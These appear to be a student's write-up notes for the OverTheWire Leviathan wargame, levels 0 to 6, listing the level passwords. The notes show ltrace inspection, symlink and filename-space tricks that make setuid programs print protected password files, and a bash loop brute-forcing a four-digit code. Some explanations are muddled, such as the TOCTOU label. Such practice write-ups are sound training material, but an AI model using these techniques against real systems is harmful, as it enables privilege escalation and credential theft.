ssh -p 2223 leviathan3@leviathan.labs.overthewire.org

Passwords:

Level 0 --> 1: 3QJ3TgzHDq
Level 1 --> 2: NsN1HwFoyN
Level 2 --> 3: f0n8h2iWLP
Level 3 --> 4: WG1egElCvO
Level 4 --> 5: 0dyxT7F4QD
Level 5 --> 6: szo7HDB88w
Level 6 --> 7: qEs5Io5yM8

Level 0:

- grep "password" bookmarks.html

<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is 3QJ3TgzHDq" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>

Level 1:

```
leviathan1@gibson:/tmp/tmp.VyHlvsFFRN$ ./check
password:
```

- setuid check
- mktemp -d
- cd /tmp/tmp.VyHlvsFFRN
- ln -s ~/check .
- echo "AA" | ./check --> outputted "Wrong Password. Good Bye..." (indicating I have to put in the password) ==>
- We might find the password as a string in the binary so we use command (strings check)
- Use command (ltrace ./check) and we see:
    - Here, strcmp("userinput", "sex") = -1 means "userinput" does not match "sex" (The Password)
- This seems to work and this gives us a shell (where we are whoami = leviathan2). We can now look for the actual password.
    - Based on the description of the website, all passwords are stored under /etc/leviathan_pass

Level 2:

```
*** File Printer ***
Usage: %s filename
You cant have that file...
/bin/cat %s
```

- mktemp -d
- cd /tmp/tmp.jrTh7Fw98q
- So ./printfile will literally print files (so let us run the 3 we own lmao)
- ./printfile /etc/leviathan_pass/leviathan3

```
leviathan2@gibson:~$ ls -l /etc/leviathan_pass/leviathan3
-r-------- 1 leviathan3 leviathan3 11 Sep 19 07:07 /etc/leviathan_pass/leviathan3
```

- access("/etc/leviathan_pass/leviathan3", 4) = -1

```
access("/tmp/new_filename", 4)                                  = 0
```

- puts("You cant have that file..."You cant have that file...)
    - access is a system call in Linux --> checks whether process has permission to access a file (it only checks permissions).

```
leviathan2@gibson:~$ ltrace ./printfile /tmp/tmp.a3As7612B4/"test run.txt"
__libc_start_main(0x80490ed, 2, 0xffffd454, 0 <unfinished ...>
access("/tmp/tmp.a3As7612B4/test run.txt"..., 4)                = 0
snprintf("/bin/cat /tmp/tmp.a3As7612B4/tes"..., 511, "/bin/cat %s", "/tmp/tmp.a3As7612B4/test run.txt"...) = 41
geteuid()                                                       = 12002
geteuid()                                                       = 12002
setreuid(12002, 12002)                                          = 0
system("/bin/cat /tmp/tmp.a3As7612B4/tes".../bin/cat: /tmp/tmp.a3As7612B4/test: No such file or directory
/bin/cat: run.txt: No such file or directory
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                          = 256
+++ exited (status 0) +++
```

- we see that using strace ./printfile /etc/

```
leviathan2@gibson:~$ ln -s /etc/leviathan_pass/leviathan3 /tmp/tmp.a3As7612B4/test
leviathan2@gibson:~$ ls -la /tmp/tmp.a3As7612B4
total 11380
drwx------    2 leviathan2 leviathan2     4096 Jan 13 05:10 .
drwxrwx-wt 6923 root       root       11644928 Jan 13 05:10 ..
lrwxrwxrwx    1 leviathan2 leviathan2       30 Jan 13 05:09 leviathan3 -> /etc/leviathan_pass/leviathan3
lrwxrwxrwx    1 leviathan2 leviathan2       30 Jan 13 05:10 test -> /etc/leviathan_pass/leviathan3
-rw-rw-r--    1 leviathan2 leviathan2        0 Jan 13 05:00 test run.txt
```

leviathan_pass/leviathan3 --> we notice the code: access("/etc/leviathan_pass/leviathan3", R_OK) = -1 EACCES (Permission denied)

- So we have verified that the file does exist, but it needs leviathan3 permission (we only have 2)
- Let us try creating and running a file (echo "bark" > /tmp/new_filename)
- ./printfile /tmp/new_filename = barks
- Now when using ltrace ./printfile /tmp/new_filename, we see that the access function is called. Notice that the change of user ID is only done later on. Because result = 0 means the check succeeded (we did have permissions) before we weren't allowed to have permissions.
- Now lets see what an unexpected input can do --> let us input 2 files:
  - notice, only the first file is printed out.
- Now let us have a file with a space in the name:
  - mktemp -d
  - touch /tmp/tmp.BykcxJXZxD/"test run.txt"
  - We have a unique problem now since the access() will succeed since the printfile program correctly checks the file exists and my permissions (returns 0 = success).
  - However, the program constructs a command to use /bin/cat to read the file and passes the entire filename as a string. And because the program uses system() ti execute the full filename (/tmp/tmp.BykcxJXZxD/"test run.txt") as an argument, the space will cause the system() to interpret the string as 2 seperate arguments (/bin/cat /tmp/tmp.a3As76l2B4/test and run.txt).
  - This causes /bin/cat to fail, as neither /tmp/tmp.a3As76l2B4/test nor run.txt exists as separate files.
- You can exploit this in order to run /etc/leviathan_pass/leviathan3
  - Created link to leviathan3 via "test" so that we can try run "test run.txt" to confuse it
  - chmod 777 /tmp/tmp.a3As76l2B4
  - ./printfile /tmp/tmp.a3As76l2B4/"test run.txt"
  - password = f0n8h2iWLP
  - It is called the TOCTOU attack

```
leviathan3@gibson:~$ grep "snlprintf" .
grep: .: Is a directory
leviathan3@gibson:~$ grep "snlprintf" ./level3
leviathan3@gibson:~$ ./level3
Enter the password> snlprintf
[You've got shell]!
$ whoami
leviathan4
```

Level 3:

- leviathan3@gibson:~$ ./level3
- Enter the password> ... bzzzzzzzzap. WRONG
- strcmp = string compare (it means I am inputting "h0no33") when I'm not? It's very bizarre since they also seem to be doing the strcmp before the password prompt.
- In this case, "h0no33" is automatically passed as the first argument without any user interaction.
- Did strings level3 and noticed some words "secret", "bomb", "You've got shell!"
- So I tried ltrace ./level3 and inputted secret instead and got this:
  - "secret\n", 256, 0xf7fae5c0) = 0xffffd26c
  - strcmp("secret\n", "snlprintf\n") = -1
  - We now notice the existence of snlprintf (we need to determine the significance of snlprintf)
  - Now that we are leviathan4 --> we go cat /etc/leviathan_pass/leviathan4

Level 4:

- ./bin (setuid executable) = 00110000 01100100 01111001 01111000 01010100 00110111 01000110 00110100 01010001 01000100 00001010

- fopen("/etc/leviathan_pass/leviathan5", "r") = 0
    - Success (via = 0) so it reads "r" out the contents of /etc/leviathan_pass/leviathan5)
- Using code:

```
echo 00110000 01100100 01111001 01111000 01010100 00110111 01000110 00110100 01010001 01000100 00001010 | tr ' ' '\n' | while read byte; do
    echo "$((2#$byte))" | awk '{ printf("%c", $1) }'
done
```

- outputs password = 0dyxT7F4QD

Level 5:

```
fopen("/tmp/file.log", "r")                                                    = 0
puts("Cannot find /tmp/file.log"Cannot find /tmp/file.log
)                                                 = 26
exit(-1 <no return ...>
```

- ./leviathan5 --> Cannot find /tmp/file.log (no such file or directory)
- strings --> fgetc, puts, exit, setuid, putchar, unlink, fopen, feof, fclose, getuid
- cd /tmp/file.log
- ./leviathan5 /tmp/file.log
    - Whatever is in the /tmp/file.log, it is being read into this executable (which is read back to us)
    - So you can just create a symbolic link ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
    - And then when you run ./leviathan5 /tmp/file.log --> it will literally just spit out whatever is in file.log, which is linked to the leviathan6 password.

Level 6:

- usage: ./leviathan6 <4 digit code>
- command injection attacks --> connect series of commands together
- ; --> semi-colon allows you to chain these different commands together to run an application directly inside of the terminal
- Correct code --> 7123 --> we see it has now put us in another shell
    - whoami? --> leviathan7
- Therefore, $ cat /etc/leviathan_pass/leviathan7 = qEs5Io5yM8

Command:

```
#!/bin/bash
for i in {0000..9999}; do
    echo $i
    ./leviathan6 $i
done
```